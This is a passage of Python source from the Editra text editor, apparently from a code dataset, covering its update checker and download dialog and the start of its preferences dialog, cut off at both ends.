GetPageText(self, url):\n \"\"\"Gets the text of a url\n @requires: network conection\n @param url: url to get page from\n @return: all text from the given url\n\n \"\"\"\n text = u''\n try:\n h_file = self.__GetUrlHandle(url)\n text = h_file.read()\n h_file.close()\n finally:\n return text\n\n def GetProgress(self):\n \"\"\"Returns the current progress/total tuple\n @return: tuple of progress data\n\n \"\"\"\n return self._progress\n\n def GetUpdateFiles(self, dl_to=wx.GetHomeDir()):\n \"\"\"Gets the requested version of the program from the website\n if possible. It will download the current files for the host system to\n location (dl_to). On success it returns True, otherwise it returns\n false.\n @keyword dl_to: where to download the file to\n\n \"\"\"\n # Check version to see if update is needed\n # Dont allow update if files are current\n verpat = re.compile('[0-9]+\\.[0-9]+\\.[0-9]+')\n current = self.GetCurrentVersionStr()\n if not re.match(verpat, current):\n return False\n\n if CalcVersionValue(ed_glob.VERSION) < CalcVersionValue(current):\n dl_path = self.GetCurrFileURL()\n dl_file = dl_path.split('/')[-1]\n dl_to = ebmlib.GetUniqueName(dl_to, dl_file)\n blk_sz = 4096\n read = 0\n try:\n # Download the file in chunks so it can be aborted if need be\n # inbetween reads.\n webfile = self.__GetUrlHandle(dl_path)\n fsize = int(webfile.info()['Content-Length'])\n locfile = open(dl_to, 'wb')\n while read < fsize and not self._abort:\n locfile.write(webfile.read(blk_sz))\n read += blk_sz\n self.UpdaterHook(int(read/blk_sz), blk_sz, fsize)\n\n locfile.close()\n webfile.close()\n finally:\n self._abort = False\n if os.path.exists(dl_to) and \\\n os.stat(dl_to)[stat.ST_SIZE] == fsize:\n return True\n else:\n return False\n else:\n return False\n\n def UpdaterHook(self, count, block_sz, total_sz):\n \"\"\"Updates the progress tuple of (amount_done, total) on\n each iterative call during the download.\n @param count: number of blocks fetched\n @param block_sz: size of download blocks\n @param total_sz: total size of file to be downloaded\n\n \"\"\"\n done = count * block_sz\n if done > total_sz:\n done = total_sz\n self._progress = (done, total_sz)\n\n#-----------------------------------------------------------------------------#\n\nclass UpdateThread(threading.Thread):\n \"\"\"Thread for checking for updates\"\"\"\n def __init__(self, parent, jobId):\n \"\"\"Create the thread object\n @param parent: parent window to post event to after completion\n @param jobId: job identification id will be set as event id on finish\n\n \"\"\"\n super(UpdateThread, self).__init__()\n\n # Attributes\n self.parent = parent\n self.id = jobId\n\n def run(self):\n \"\"\"Run the update check job\"\"\"\n service = UpdateService()\n result = service.GetCurrentVersionStr()\n if result.replace('.', '').isdigit():\n isupdate = CalcVersionValue(result) > CalcVersionValue(ed_glob.VERSION)\n else:\n isupdate = False\n\n evt = ed_event.NotificationEvent(ed_event.edEVT_NOTIFY,\n self.id, (isupdate, result))\n wx.PostEvent(self.parent, evt)\n\n#-----------------------------------------------------------------------------#\n\nclass UpdateProgress(wx.Gauge, UpdateService):\n \"\"\"Creates a progress bar that is controlled by the UpdateService\"\"\"\n ID_CHECKING = wx.NewId()\n ID_DOWNLOADING = wx.NewId()\n ID_TIMER = wx.NewId()\n\n def __init__(self, parent, id_, range_=100,\n style=wx.GA_HORIZONTAL | wx.GA_PROGRESSBAR):\n \"\"\"Initiliazes the bar in a disabled state.\"\"\"\n wx.Gauge.__init__(self, parent, id_, range_, style=style)\n UpdateService.__init__(self)\n\n #---- Attributes ----#\n self.LOG = wx.GetApp().GetLog()\n self._checking = False\n self._downloading = False\n self._dl_result = False\n self._mode = 0\n self._status = _(\"Status Unknown\")\n self._timer = wx.Timer(self, id=self.ID_TIMER)\n\n #---- Layout ----#\n if wx.Platform == '__WXMAC__':\n self.SetWindowVariant(wx.WINDOW_VARIANT_LARGE)\n\n #---- Bind Events ----#\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy, self)\n self.Bind(wx.EVT_TIMER, self.OnUpdate, id = self.ID_TIMER)\n\n # Disable bar till caller is ready to use it\n self.Disable()\n\n def OnDestroy(self, evt):\n \"\"\"Cleans up when the control is destroyed\n @postcondition: if timer is running it is stopped before deletion\n\n \"\"\"\n if evt.GetId() == self.GetId():\n if self._timer.IsRunning():\n self.LOG(\"[updater][info]UpdateProgress: __del__, stopped timer\")\n self._timer.Stop()\n evt.Skip()\n\n def Abort(self):\n \"\"\"Overides the UpdateService abort function\n @postcondition: any download actions in the L{UpdateService} are aborted\n\n \"\"\"\n self.LOG(\"[updater][info] UpdateProgress: Download aborted\")\n UpdateService.Abort(self)\n if self._timer.IsRunning():\n self._timer.Stop()\n self.SetValue(0)\n\n def CheckForUpdates(self):\n \"\"\"Checks for updates and activates the bar. In order to keep the\n UI from freezing while checking for updates the actual work is carried\n out on another thread. When the thread exits it will set the _checking\n attribute to false and set the _status attribute (See GetStatus) to the\n return value of the check function which is either a version string or\n an appropriate error message.\n\n @see: L{_UpdatesCheckThread}\n\n \"\"\"\n # Set bar to Checking mode so it knows to simulate update progress\n self._mode = self.ID_CHECKING\n self.SetValue(0)\n self.Start(10)\n self._checking = True\n delayedresult.startWorker(self._ResultNotifier,\n self._UpdatesCheckThread,\n jobID=self.ID_CHECKING)\n\n def DownloadUpdates(self, dl_loc=wx.EmptyString):\n \"\"\"Downloads available updates and configures the bar.\n Returns True if the update was successfull or False if\n it was not. The updates will be downloaded to the\n specified location or to the Users Desktop or Home\n Folder if no location is specified.\n @keyword dl_loc: location to download file to\n\n \"\"\"\n self.LOG(\"[updater][info] UpdateProgress: Download Starting...\")\n if dl_loc == wx.EmptyString:\n dl_loc = self.GetDownloadLocation()\n self._mode = self.ID_DOWNLOADING\n self.SetValue(0)\n self.Start(50) #XXX Try this for starters\n self._downloading = True # Mark the work status as busy\n delayedresult.startWorker(self._ResultNotifier, self._DownloadThread,\n wargs=dl_loc, jobID=self.ID_DOWNLOADING)\n\n def GetDownloadResult(self):\n \"\"\"Returns the status of the last download action. Either\n True for success or False for failure.\n @return: whether last download was successfull or not\n\n \"\"\"\n return self._dl_result\n\n def GetDownloadLocation(self):\n \"\"\"Returns the path that the file will be downloaded to.\n Currently will either return the users Desktop path or the\n users home directory in the case that there is no deskop directory\n @return: path to download file\n\n \"\"\"\n dl_loc = wx.GetHomeDir() + os.sep\n if os.path.exists(dl_loc + u\"Desktop\"):\n dl_loc = dl_loc + u\"Desktop\" + os.sep\n return dl_loc\n\n def GetMode(self):\n \"\"\"Returns the current mode of operation or 0 if the bar\n is currently inactive.\n @return: mode of operation for the progres bar\n\n \"\"\"\n return self._mode\n\n def GetStatus(self):\n \"\"\"Returns the status attribute string\n @return: status set by any update actions\n\n \"\"\"\n return self._status\n\n def GetUpdatesAvailable(self):\n \"\"\"Compares the status against the version of the running\n program to see if updates are available. It is expected\n that CheckForUpdates has been called prior to calling this\n function. Returns True if Available and False otherwise.\n @return: whether udpates are available or not\n\n \"\"\"\n if self._status[0].isdigit():\n return CalcVersionValue(self._status) > CalcVersionValue(ed_glob.VERSION)\n else:\n return False\n\n def IsDownloading(self):\n \"\"\"Returns a bool stating whether there is a download\n in progress or not.\n @return: whether downloading is active or not\n\n \"\"\"\n return self._downloading\n\n def OnUpdate(self, evt):\n \"\"\"Timer Event Handler Updates the progress bar\n on each cycle of the timer\n @param evt: event that called this handler\n\n \"\"\"\n mode = self.GetMode()\n if mode not in (self.ID_CHECKING, self.ID_DOWNLOADING):\n return\n\n progress = self.GetProgress()\n prange = self.GetRange()\n if mode == self.ID_CHECKING:\n # Simulate updates\n if progress[0] < prange:\n self.UpdaterHook(progress[0] + 1, 1, 90)\n progress = self.GetProgress()\n if not self._checking and progress[0] >= prange:\n self.Stop()\n\n if mode == self.ID_DOWNLOADING:\n if not self._downloading and progress[0] >= prange:\n self.Stop()\n\n # Update Range if need be\n if prange != progress[1]:\n self.SetRange(progress[1])\n\n # Update Progress\n if progress[0] < progress[1]:\n self.SetValue(progress[0])\n elif progress[0] == progress[1]:\n self.Pulse()\n else:\n pass\n\n def Start(self, msec=100):\n \"\"\"Starts the progress bar and timer if not already active\n @keyword msec: pulse time for clock in milliseconds\n\n \"\"\"\n if not self._timer.IsRunning():\n self.LOG('[updater][info] UpdateProgress: Starting Timer')\n self.Enable()\n self.SetValue(0)\n self._timer.Start(msec)\n else:\n pass\n\n def Stop(self):\n \"\"\"Stops the progress bar\n @postcondition: progress bar is stopped\n\n \"\"\"\n if self._timer.IsRunning():\n self.LOG('[updater][info] UpdateProgress: Stopping Clock')\n self._timer.Stop()\n self._mode = 0\n self.SetValue(self.GetRange())\n else:\n pass\n self.Enable(False)\n\n def Pulse(self):\n if self._mode == 0:\n return\n super(UpdateProgress, self).Pulse()\n\n #--- Protected Member Functions ---#\n def _DownloadThread(self, *args):\n \"\"\"Processes the download and checks that the file has been downloaded\n properly. Then returns either True if the download was successful or\n False if it failed in some way.\n @return: success status of download\n\n \"\"\"\n dl_ok = self.GetUpdateFiles(u\"\".join(args))\n return dl_ok\n\n def _ResultNotifier(self, delayedResult):\n \"\"\"Receives the return from the result of the worker thread and\n notifies the interested party with the result.\n @param delayedResult: value from worker thread\n\n \"\"\"\n jid = delayedResult.getJobID()\n try:\n self.LOG(\"[updater][info] UpdateProgress: Worker thread exited. ID = %d\" % jid)\n self._checking = self._downloading = False # Work has finished\n except wx.PyDeadObjectError:\n return\n\n try:\n if jid == self.ID_CHECKING:\n mevt = ed_event.UpdateTextEvent(ed_event.edEVT_UPDATE_TEXT, \\\n self.ID_CHECKING)\n wx.PostEvent(self.GetParent(), mevt)\n self.SetValue(self.GetRange())\n elif jid == self.ID_DOWNLOADING:\n result = delayedResult.get()\n self._dl_result = result\n else:\n pass\n except (OSError, IOError, UnicodeDecodeError), msg:\n self.LOG(\"[updater][err] UpdateProgress: Error on thread exit\")\n self.LOG(\"[updater][err] UpdateProgress: error = %s\" % str(msg))\n\n def _UpdatesCheckThread(self):\n \"\"\"Sets internal status value to the return value from calling\n GetCurrentVersionStr. This function is called on a separate thread\n in the CheckForUpdates function to allow the ui to update properly\n while this function waits for the result from the network. Returns\n True to the consumer if updates are available and false if they\n are not or status is unknown.\n @return: whether updates are available or not\n\n \"\"\"\n self.LOG(\"[updater][info] UpdateProgress: Checking for updates\")\n self._checking = True\n ret = self.GetCurrentVersionStr()\n self._status = ret\n self.LOG(\"[updater][info] UpdateProgress: Check Finished: result = \" + ret)\n if ret[0].isdigit() and \\\n CalcVersionValue(ret) > CalcVersionValue(ed_glob.VERSION):\n ret = True\n else:\n ret = False\n return ret\n\n#-----------------------------------------------------------------------------#\n\nclass DownloadDialog(wx.Frame):\n \"\"\"Creates a standalone download window\n @todo: Status bar is sometimes not wide enough to display all data.\n \"\"\"\n ID_PROGRESS_BAR = wx.NewId()\n ID_TIMER = wx.NewId()\n SB_DOWNLOADED = 0\n SB_INFO = 1\n\n def __init__(self, parent, id_, title,\n style=wx.DEFAULT_DIALOG_STYLE | wx.MINIMIZE_BOX):\n \"\"\"Creates a standalone window that is used for downloading\n updates for the editor.\n @param parent: Parent Window of the dialog\n @param title: Title of dialog\n\n \"\"\"\n super(DownloadDialog, self).__init__(parent, id_, title, style=style)\n util.SetWindowIcon(self)\n\n #---- Attributes/Objects ----#\n self.LOG = wx.GetApp().GetLog()\n panel = wx.Panel(self)\n self._progress = UpdateProgress(panel, self.ID_PROGRESS_BAR)\n fname = self._progress.GetCurrFileName()\n floc = self._progress.GetDownloadLocation()\n dl_file = wx.StaticText(panel, label=_(\"Downloading: %s\") % fname)\n dl_loc = wx.StaticText(panel, wx.ID_ANY,\n _(\"Downloading To: %s\") % floc)\n self._cancel_bt = wx.Button(panel, wx.ID_CANCEL, _(\"Cancel\"))\n self._timer = wx.Timer(self, id=self.ID_TIMER)\n self._proghist = list()\n\n #---- Layout ----#\n self.CreateStatusBar(2)\n self._sizer = wx.GridBagSizer()\n bmp = wx.ArtProvider.GetBitmap(str(ed_glob.ID_WEB), wx.ART_TOOLBAR)\n mdc = wx.MemoryDC(bmp)\n tmp_bmp = wx.Image(ed_glob.CONFIG['SYSPIX_DIR'] + u\"editra.png\",\n wx.BITMAP_TYPE_PNG)\n tmp_bmp.Rescale(20, 20, wx.IMAGE_QUALITY_HIGH)\n mdc.DrawBitmap(tmp_bmp.ConvertToBitmap(), 11, 11)\n mdc.SelectObject(wx.NullBitmap)\n bmp = wx.StaticBitmap(panel, wx.ID_ANY, bmp)\n self._sizer.AddMany([(bmp, (1, 1), (3, 2)),\n (dl_file, (1, 4), (1, 4)),\n (dl_loc, (2, 4), (1, 4)),\n ((15, 15), (3, 5), (1, 1))])\n self._sizer.Add(self._progress, (4, 1), (1, 10), wx.EXPAND)\n\n bsizer = wx.BoxSizer(wx.HORIZONTAL)\n bsizer.AddStretchSpacer()\n bsizer.Add(self._cancel_bt, 0, wx.ALIGN_CENTER_HORIZONTAL)\n bsizer.AddStretchSpacer()\n\n self._sizer.Add(bsizer, (6, 1), (1, 10), wx.EXPAND)\n self._sizer.Add((5, 5), (7, 1))\n self._sizer.Add((5, 5), (7, 11))\n panel.SetSizer(self._sizer)\n mwsz = wx.BoxSizer(wx.HORIZONTAL)\n mwsz.Add(panel, 1, wx.EXPAND)\n self.SetSizer(mwsz)\n self.SetInitialSize()\n\n self.SetStatusWidths([-1, 100])\n self.SetStatusText(_(\"Downloading\") + u\"...\", self.SB_INFO)\n\n #---- Bind Events ----#\n self.Bind(wx.EVT_BUTTON, self.OnButton)\n self.Bind(wx.EVT_CLOSE, self.OnClose)\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy, self)\n self.Bind(wx.EVT_TIMER, self.OnUpdate, id=self.ID_TIMER)\n\n def OnDestroy(self, evt):\n \"\"\"Cleans up on exit\n @postcondition: if timer was running it is stopped\n\n \"\"\"\n if evt.GetId() == self.GetId():\n if self._timer.IsRunning():\n self.LOG('[updater][info] DownloadDialog: __del__ Timer Stopped')\n self._timer.Stop()\n evt.Skip()\n\n def CalcDownRate(self):\n \"\"\"Calculates and returns the approximate download rate\n in Kb/s\n @return: current downlaod rate in Kb/s\n @rtype: float\n\n \"\"\"\n dlist = list()\n last = 0\n for item in self._proghist:\n val = item - last\n dlist.append(val)\n last = item\n return round((float(sum(dlist) / len(self._proghist)) / 1024), 2)\n\n def OnButton(self, evt):\n \"\"\"Handles events that are generated when buttons are pushed.\n @param evt: event that called this handler\n\n \"\"\"\n e_id = evt.GetId()\n if e_id == wx.ID_CANCEL:\n self.LOG(\"[updater][evt] DownloadDialog: Cancel pressed\")\n self._progress.Abort()\n self._cancel_bt.Disable()\n self.SetStatusText(_(\"Canceled\"), self.SB_INFO)\n else:\n evt.Skip()\n\n def OnClose(self, evt):\n \"\"\"Handles the window closer event\n @param evt: event that called this handler\n\n \"\"\"\n self.LOG(\"[updater][evt] DownloadDialog: Closing Download Dialog\")\n self._progress.Abort()\n # Wait till thread has halted before exiting\n while self._progress.IsDownloading():\n wx.YieldIfNeeded()\n wx.GetApp().UnRegisterWindow(repr(self))\n evt.Skip()\n\n def OnUpdate(self, evt):\n \"\"\"Updates the status text on each pulse from the timer\n @param evt: event that called this handler\n\n \"\"\"\n e_id = evt.GetId()\n if e_id == self.ID_TIMER:\n prog = self._progress.GetProgress()\n self._proghist.append(prog[0])\n speed = self.CalcDownRate()\n if self._progress.IsDownloading():\n self.SetStatusText(_(\"Rate: %.2f Kb/s\") % speed,\n self.SB_DOWNLOADED)\n else:\n self.LOG(\"[updater][evt] DownloadDialog:: Download finished\")\n self.SetStatusText(u'', self.SB_DOWNLOADED)\n if self._progress.GetDownloadResult():\n self.LOG(\"[updater][info] DownloadDialog: Download Successful\")\n self.SetStatusText(_(\"Finished\"), self.SB_INFO)\n else:\n self.LOG(\"[updater][info] DownloadDialog: Download Failed\")\n self.SetStatusText(_(\"Failed\"), self.SB_INFO)\n self._progress.Enable()\n self._progress.SetValue(self._progress.GetProgress()[0])\n self._timer.Stop()\n self._cancel_bt.Disable()\n else:\n evt.Skip()\n\n def Show(self):\n \"\"\"Shows the Dialog and starts downloading the updates\n @postcondition: window is registered with mainloop and shown on screen\n @todo: Allow setting of download location to be set when shown\n\n \"\"\"\n # Tell the main loop we are busy\n wx.GetApp().RegisterWindow(repr(self), self, True)\n self._timer.Start(1000) # One pulse every second\n self._progress.DownloadUpdates()\n super(DownloadDialog, self).Show()\n", "id": "3897388", "language": "Python", "matching_score": 6.148808002471924, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/updater.py" }, { "content": "###############################################################################\n# Name: prefdlg.py #\n# Purpose: UI for configuring User Profile #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2008 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThe classes and functions contained in this file are used for creating the\npreference dialog that allows for dynamically configuring most of the options\nand setting of the program by setting values in the Profile.\n\n@summary: Editra's Preference Dialog\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: prefdlg.py 67857 2011-06-05 00:16:24Z CJP $\"\n__revision__ = \"$Revision: 67857 $\"\n\n#----------------------------------------------------------------------------#\n# Dependencies\nimport wx\nimport wx.lib.mixins.listctrl as listmix\nimport locale\nimport encodings\nimport os\nimport sys\n\n# Editra Libraries\nimport ed_glob\nimport profiler\nfrom profiler import Profile_Get, Profile_Set\nimport ed_i18n\nimport ed_event\nimport ed_crypt\nimport updater\nimport util\nimport syntax.syntax as syntax\nimport ed_msg\nimport ed_txt\nimport eclib\nimport extern.stcspellcheck as stcspellcheck\n\n#----------------------------------------------------------------------------#\n# Globals\nID_CHECK_UPDATE = wx.NewId()\nID_DOWNLOAD = wx.NewId()\nID_UPDATE_MSG = wx.NewId()\n\nID_PREF_BKUP_PATH = wx.NewId()\nID_PREF_BKUP_LBL = wx.NewId()\nID_PREF_AUTO_SPELL = wx.NewId()\nID_PREF_SPELL_DICT = wx.NewId()\nID_PREF_ENCHANT_PATH = wx.NewId()\n\n_ = wx.GetTranslation\n#----------------------------------------------------------------------------#\n# Utility\n\ndef MakeThemeTool(tool_id):\n \"\"\"Makes a themed bitmap for the tool book of the pref dialog.\n @param tool_id: An art identifier id\n @return: 32x32 bitmap\n\n \"\"\"\n osize = Profile_Get('ICON_SZ', 'size_tuple', (24, 24))\n Profile_Set('ICON_SZ', (32, 32))\n over = wx.ArtProvider.GetBitmap(str(tool_id), wx.ART_TOOLBAR)\n Profile_Set('ICON_SZ', osize)\n return over\n\n#----------------------------------------------------------------------------#\n\nclass PreferencesPanelBase(object):\n \"\"\"Base mixin class for preference panels\"\"\"\n def __init__(self):\n super(PreferencesPanelBase, self).__init__()\n\n # Attributes\n self._layout_done = False\n\n def DoSelected(self):\n \"\"\"Handle initial selection to create controls\"\"\"\n if not self._layout_done:\n self._layout_done = True\n self._DoLayout()\n self.SetAutoLayout(True)\n\n#----------------------------------------------------------------------------#\n\nclass PreferencesDialog(wx.Frame):\n \"\"\"Preference dialog for configuring the editor\n @summary: Provides an interface into configuring profile settings\n\n \"\"\"\n __name__ = u'PreferencesDialog'\n\n def __init__(self, parent, id_=wx.ID_ANY,\n style=wx.DEFAULT_DIALOG_STYLE | wx.TAB_TRAVERSAL):\n \"\"\"Initializes the preference dialog\n @param parent: The parent window of this window\n @param id_: The id of this window\n\n \"\"\"\n super(PreferencesDialog, self).__init__(parent, id_,\n _(\"Preferences - Editra\"),\n style=style)\n util.SetWindowIcon(self)\n\n # Extra Styles\n self.SetTransparent(Profile_Get('ALPHA', default=255))\n\n # Attributes\n self._accel = wx.AcceleratorTable([(wx.ACCEL_NORMAL, wx.WXK_ESCAPE, wx.ID_CLOSE)])\n self.SetAcceleratorTable(self._accel)\n self._tbook = PrefTools(self)\n sizer = wx.BoxSizer(wx.VERTICAL)\n\n # Layout\n sizer.Add(self._tbook, 1, wx.EXPAND)\n self.SetSizer(sizer)\n self.SetAutoLayout(True)\n self.SetInitialSize()\n wx.GetApp().RegisterWindow(repr(self), self, True)\n\n # Bind Events\n self.Bind(wx.EVT_MENU, lambda evt: self.Close(), id=wx.ID_CLOSE)\n self.Bind(wx.EVT_CLOSE, self.OnClose)\n self.Bind(wx.EVT_SHOW, self.OnShow)\n\n def OnClose(self, evt):\n \"\"\"Hanles the window closer event\n @param evt: Event that called this handler\n\n \"\"\"\n # XXX More strange wx is None errors have been reported here\n # really need to find the cause of this!\n if wx is not None:\n wx.GetApp().UnRegisterWindow(repr(self))\n\n # Save profile settings\n profiler.TheProfile.Write(profiler.Profile_Get('MYPROFILE'))\n\n evt.Skip()\n\n def OnShow(self, evt):\n \"\"\"Hanles the window closer event\n @param evt: Event that called this handler\n\n \"\"\"\n self._tbook.OnPageChanged()\n evt.Skip()\n\n#-----------------------------------------------------------------------------#\n\nclass PrefTools(eclib.SegmentBook):\n \"\"\"Main sections of the configuration pages\n @note: implements the top level book control for the prefdlg\n\n \"\"\"\n GENERAL_PG = 0\n APPEAR_PG = 1\n DOC_PG = 2\n UPDATE_PG = 3\n ADV_PG = 4\n\n def __init__(self, parent):\n \"\"\"Initializes the main book control of the preferences dialog\n @summary: Creates the top level notebook control for the prefdlg\n a toolbar is used for changing pages.\n\n \"\"\"\n super(PrefTools, self).__init__(parent, wx.ID_ANY,\n style=eclib.SEGBOOK_STYLE_LABELS|\\\n eclib.SEGBOOK_STYLE_NO_DIVIDERS)\n\n # Attributes\n self._imglst = list()\n self.__InitImgList()\n\n self.AddPage(GeneralPanel(self), _(\"General\"),\n img_id=self.GENERAL_PG)\n self.AddPage(AppearancePanel(self), _(\"Appearance\"),\n img_id=self.APPEAR_PG)\n self.AddPage(DocumentPanel(self), _(\"Document\"),\n img_id=self.DOC_PG)\n self.AddPage(NetworkPanel(self), _(\"Network\"),\n img_id=self.UPDATE_PG)\n self.AddPage(AdvancedPanel(self), _(\"Advanced\"),\n img_id=self.ADV_PG)\n\n # Event Handlers\n self.Bind(eclib.EVT_SB_PAGE_CHANGED, self.OnPageChanged)\n self.Bind(eclib.EVT_SB_PAGE_CHANGING, self.OnPageChanging)\n self.Bind(wx.EVT_WINDOW_DESTROY, self.OnDestroy, self)\n\n # Message Handlers\n ed_msg.Subscribe(self.OnThemeChange, ed_msg.EDMSG_THEME_CHANGED)\n\n def OnDestroy(self, evt):\n if evt.GetId() == self.GetId():\n ed_msg.Unsubscribe(self.OnThemeChange)\n evt.Skip()\n\n def __InitImgList(self):\n \"\"\"Setup the image list for the SegmentBook\"\"\"\n dorefresh = False\n if len(self._imglst):\n del self._imglst\n self._imglst = list()\n dorefresh = True\n\n self._imglst.append(MakeThemeTool(ed_glob.ID_PREF))\n self._imglst.append(MakeThemeTool(ed_glob.ID_THEME))\n self._imglst.append(MakeThemeTool(ed_glob.ID_DOCPROP))\n self._imglst.append(MakeThemeTool(ed_glob.ID_WEB))\n self._imglst.append(MakeThemeTool(ed_glob.ID_ADVANCED))\n self.SetImageList(self._imglst)\n self.SetUsePyImageList(True)\n\n if dorefresh:\n self.Refresh()\n\n def OnPageChanging(self, evt):\n sel = evt.GetSelection()\n page = self.GetPage(sel)\n if hasattr(page, 'DoSelected'):\n page.DoSelected()\n evt.Skip()\n\n def OnPageChanged(self, evt=None):\n \"\"\"Resizes the dialog based on the pages size\n @todo: animate the resizing so its smoother\n\n \"\"\"\n util.Log(\"[prefdlg][evt] toolbook page changed\")\n page = self.GetPage(self.GetSelection())\n page.SetInitialSize()\n parent = self.GetParent()\n psz = page.GetSize()\n width = psz.GetWidth()\n\n cbar = self.GetControlBar(wx.TOP)\n tbsz = cbar.GetBestSize()\n if tbsz[0] > width:\n width = tbsz[0]\n\n page.Freeze()\n parent.SetClientSize((width, psz.GetHeight() + tbsz[1]))\n parent.SendSizeEvent()\n parent.Layout()\n page.Thaw()\n if evt is not None:\n evt.Skip()\n\n def OnThemeChange(self, msg):\n \"\"\"Update icons when the theme changes\"\"\"\n self.__InitImgList()\n\n#-----------------------------------------------------------------------------#\n\nclass GeneralPanel(wx.Panel, PreferencesPanelBase):\n \"\"\"Creates a panel with controls for Editra's general settings\n @summary: Panel with a number of controls that affect the users\n global profile setting for how Editra should operate.\n\n \"\"\"\n def __init__(self, parent, style=wx.BORDER_SUNKEN):\n \"\"\"Create the panel\n @param parent: Parent window of this panel\n\n \"\"\"\n wx.Panel.__init__(self, parent, style=wx.BORDER_SUNKEN)\n PreferencesPanelBase.__init__(self)\n\n # Attributes\n self.SetToolTipString(_(\"Changes made in this dialog are saved in your \"\n \"current profile. Some Items such as Language \"\n \"require the program to be restarted before \"\n \"taking effect.\"))\n\n # Layout this page right away\n self._DoLayout()\n self._layout_done = True\n\n # Event Handlers\n self.Bind(wx.EVT_CHECKBOX, self.OnCheck)\n self.Bind(wx.EVT_CHOICE, self.OnChoice)\n self.Bind(wx.EVT_COMBOBOX, self.OnChoice)\n\n def _DoLayout(self):\n \"\"\"Add the controls and do the layout\n @note: do not call this after __init__\n\n \"\"\"\n # Startup Section\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n nbook = wx.Notebook(self)\n nbook.AddPage(GeneralStartupPanel(nbook), _(\"Startup\"))\n nbook.AddPage(GeneralFilePanel(nbook), _(\"Files\"))\n sizer.AddMany([((10, 10), 0), (nbook, 1, wx.EXPAND), ((10, 10), 0)])\n msizer = wx.BoxSizer(wx.VERTICAL)\n msizer.AddMany([(sizer, 1, wx.EXPAND), ((10, 10), 0)])\n self.SetSizer(msizer)\n\n def OnCheck(self, evt):\n \"\"\"Handles events from the check boxes\n @param evt: event that called this handler\n\n \"\"\"\n util.Log(\"[prefdlg][evt] General Page: Check box clicked\")\n e_id = evt.GetId()\n e_obj = evt.GetEventObject()\n val = e_obj.GetValue()\n if e_id in (ed_glob.ID_APP_SPLASH, ed_glob.ID_PREF_SPOS,\n ed_glob.ID_SESSION,\n ed_glob.ID_NEW_WINDOW, ed_glob.ID_PREF_CHKUPDATE,\n ed_glob.ID_PREF_WARN_EOL, ed_glob.ID_PREF_AUTO_RELOAD):\n Profile_Set(ed_glob.ID_2_PROF[e_id], e_obj.GetValue())\n elif e_id == ed_glob.ID_REPORTER:\n Profile_Set(ed_glob.ID_2_PROF[e_id], not e_obj.GetValue())\n elif e_id == ed_glob.ID_PREF_CHKMOD:\n Profile_Set(ed_glob.ID_2_PROF[e_id], val)\n self.FindWindowById(ed_glob.ID_PREF_AUTO_RELOAD).Enable(val)\n elif e_id == ed_glob.ID_PREF_AUTOBKUP:\n Profile_Set(ed_glob.ID_2_PROF[e_id], val)\n elif e_id == ID_PREF_AUTO_SPELL:\n spref = Profile_Get('SPELLCHECK', default=dict())\n spref['auto'] = val\n Profile_Set('SPELLCHECK', spref)\n else:\n pass\n evt.Skip()\n\n @staticmethod\n def OnChoice(evt):\n \"\"\"Handles events from the choice controls\n @param evt: event that called this handler\n @note: Also handles the Language ComboBox\n\n \"\"\"\n e_id = evt.GetId()\n e_obj = evt.GetEventObject()\n if e_id in [ed_glob.ID_PREF_MODE,\n ed_glob.ID_PREF_FHIST,\n ed_glob.ID_PREF_LANG,\n ed_glob.ID_PREF_ENCODING]:\n\n Profile_Set(ed_glob.ID_2_PROF[e_id], e_obj.GetValue())\n if e_id == ed_glob.ID_PREF_MODE:\n val = e_obj.GetValue()\n ed_glob.DEBUG = ('DEBUG' in val)\n ed_glob.VDEBUG = ('VERBOSE' in val)\n elif e_id == ed_glob.ID_PRINT_MODE:\n Profile_Set(ed_glob.ID_2_PROF[e_id], e_obj.GetSelection())\n elif e_id == ID_PREF_SPELL_DICT:\n ssel = e_obj.GetStringSelection()\n sprefs = Profile_Get('SPELLCHECK', default=dict())\n sprefs['dict'] = ssel\n Profile_Set('SPELLCHECK', sprefs)\n else:\n evt.Skip()\n\n#-----------------------------------------------------------------------------#\n\nclass GeneralStartupPanel(wx.Panel):\n \"\"\"General Startup Settings\"\"\"\n def __init__(self, parent):\n super(GeneralStartupPanel, self).__init__(parent)\n\n # Attributes\n\n # Setup\n self._DoLayout()\n\n def _DoLayout(self):\n msizer = wx.BoxSizer(wx.HORIZONTAL)\n msizer.AddMany([(wx.StaticText(self, label=_(\"Editor Mode\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PREF_MODE,\n choices=['CODE', 'DEBUG', 'VERBOSE DEBUG'],\n default=Profile_Get('MODE')),\n 0, wx.ALIGN_CENTER_VERTICAL)])\n\n psizer = wx.BoxSizer(wx.HORIZONTAL)\n psizer.AddMany([(wx.StaticText(self, label=_(\"Printer Mode\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), ((5, 5), 0),\n (ExChoice(self, ed_glob.ID_PRINT_MODE,\n choices=GetPrintModeStrings(),\n default=Profile_Get('PRINT_MODE')),\n 0, wx.ALIGN_CENTER_VERTICAL)])\n\n reporter_cb = wx.CheckBox(self, ed_glob.ID_REPORTER,\n _(\"Disable Error Reporter\"))\n reporter_cb.SetValue(not Profile_Get('REPORTER'))\n sess_cb = wx.CheckBox(self, ed_glob.ID_SESSION, _(\"Load Last Session\"))\n sess_cb.SetValue(Profile_Get('SAVE_SESSION'))\n sess_cb.SetToolTipString(_(\"Load files from last session on startup\"))\n splash_cb = wx.CheckBox(self, ed_glob.ID_APP_SPLASH,\n _(\"Show Splash Screen\"))\n splash_cb.SetValue(Profile_Get('APPSPLASH'))\n\n # Only enable update option if user has access to install directory\n isadmin = os.access(ed_glob.CONFIG['INSTALL_DIR'], os.R_OK|os.W_OK)\n if isadmin:\n chk_update = wx.CheckBox(self, ed_glob.ID_PREF_CHKUPDATE,\n _(\"Check for updates on startup\"))\n chk_update.SetValue(Profile_Get('CHECKUPDATE'))\n\n # Locale\n lsizer = wx.BoxSizer(wx.HORIZONTAL)\n lsizer.AddMany([(wx.StaticText(self, label=_(\"Language\") + u\": \"),\n 0, wx.ALIGN_CENTER_VERTICAL), 